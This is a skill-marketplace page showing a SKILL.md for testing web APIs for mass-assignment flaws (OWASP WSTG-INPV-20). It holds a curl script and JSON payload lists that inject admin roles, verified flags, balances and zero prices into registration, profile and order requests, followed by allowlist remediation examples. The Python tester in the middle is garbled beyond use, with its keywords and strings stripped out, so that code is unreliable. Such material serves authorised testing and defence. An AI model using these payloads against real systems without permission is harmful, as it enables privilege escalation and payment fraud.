用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-20命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-20 |
| description | Testing for Mass Assignment |
| category | input-validation |
| owasp_id | WSTG-INPV-20 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-20
Testing for Mass Assignment
Mass Assignment (also known as Auto-binding or Object Injection) occurs when an application automatically binds user-provided data to internal objects. Attackers can modify object properties they shouldn't have access to, such as changing user roles, prices, or account status by adding extra parameters to requests.
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for Mass Assignment..."
# Test user registration with extra parameters
curl -s -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "testuser",
"email": "test@test.com",
"password": "TestPass123!",
"role": "admin",
"isAdmin": true,
"is_admin": true
}'
# Test profile update with extra parameters
curl -s -X PUT "$TARGET/api/user/profile" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{
"name": "Test User",
"role": "admin",
"verified": true,
"balance": 999999
}'
#!/usr/bin/env python3
"""
Mass Assignment Vulnerability Tester
"""
import requests
json
copy
:
():
.url = url
.findings = []
.session = requests.Session()
DANGEROUS_PARAMS = {
: [
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , ]),
(, [, , ]),
(, [, ]),
(, [[], []]),
],
: [
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, []),
(, []),
(, [, , ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, [, ]),
(, []),
(, []),
(, []),
],
: [
(, []),
(, []),
(, [, ]),
(, []),
(, []),
],
}
():
()
base_data :
base_data = {
: ,
: ,
:
}
register_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.post(
register_url,
json=test_data
)
response.status_code [, ]:
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
base_data :
base_data = {: }
headers = {}
auth_token:
headers[] =
update_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.put(
update_url,
json=test_data,
headers=headers
)
response.status_code == :
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
order_data = {
: [{: , : }],
:
}
headers = {}
auth_token:
headers[] =
order_url =
financial_params = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
param_name, value financial_params:
test_data = copy.deepcopy(order_data)
test_data[param_name] = value
:
response = .session.post(
order_url,
json=test_data,
headers=headers
)
response.status_code [, ]:
resp_data = response.json() response.text {}
(value) (resp_data.get(param_name, )):
()
.findings.append({
: ,
: ,
: param_name,
: value,
:
})
Exception e:
():
()
endpoints :
endpoints = [
(, ),
(, ),
(, ),
(, ),
(, ),
]
headers = {: }
auth_token:
headers[] =
test_params = [, , , , , ]
method, endpoint endpoints:
url =
param test_params:
test_data = {param: }
:
method == :
response = .session.post(url, json=test_data, headers=headers)
:
response = .session.put(url, json=test_data, headers=headers)
response.status_code [, ]:
()
Exception e:
():
( + *)
()
(*)
.findings:
()
()
:
critical = [f f .findings f[] == ]
high = [f f .findings f[] == ]
medium = [f f .findings f[] == ]
critical:
()
f critical:
()
high:
()
f high:
()
medium:
()
f medium:
()
():
.test_registration()
.test_profile_update(auth_token)
.test_order_manipulation(auth_token)
.test_api_endpoints(auth_token=auth_token)
.generate_report()
tester = MassAssignmentTester()
tester.run_tests(auth_token=)
// Privilege Escalation
{
"role": "admin",
"isAdmin": true,
"is_admin": true,
"admin": true,
"user_type": "admin",
"permissions": ["all"],
"group": "administrators"
}
// Account Status
{
"verified": true,
"email_verified": true,
"active": true,
"approved": true,
"confirmed": true
}
// Financial
{
"balance": 999999,
"credits": 999999,
"price": 0,
"discount": 100,
"total": 0
}
// Access Control
{
"owner_id": 1,
"user_id": 1,
"tenant_id": 1,
"organization_id": 1
}
| Tool | Purpose |
|---|---|
| Burp Suite Param Miner | Parameter discovery |
| Arjun | Hidden parameter finder |
| Custom scripts | Targeted testing |
# Python/Flask - Explicit field allowlist
from flask import request
from marshmallow import Schema, fields
class UserUpdateSchema(Schema):
# Only these fields can be updated
name = fields.Str()
email = fields.Email()
# role, isAdmin, etc. are NOT included
@app.route('/profile', methods=['PUT'])
def update_profile():
schema = UserUpdateSchema()
data = schema.load(request.json) # Only allowed fields
user.update(**data)
// Node.js/Express - Allowlist pattern
const allowedFields = ["name", "email", "bio"]
app.put("/profile", (req, res) => {
const updates = {}
for (const field of allowedFields) {
if (req.body[field] !== undefined) {
updates[field] = req.body[field]
}
}
// Only safe fields are used
User.update(userId, updates)
})
# Rails - Strong Parameters
def user_params
params.require(:user).permit(:name, :email)
# role, admin, etc. are NOT permitted
end
| Finding | CVSS | Severity |
|---|---|---|
| Admin role assignment | 9.8 | Critical |
| Price manipulation | 8.6 | High |
| Account status bypass | 7.5 | High |
| Timestamp manipulation | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes |
[ ] Registration endpoint tested
[ ] Profile update tested
[ ] Order/payment endpoints tested
[ ] Hidden parameters discovered
[ ] Privilege escalation tested
[ ] Financial manipulation tested
[ ] Findings documented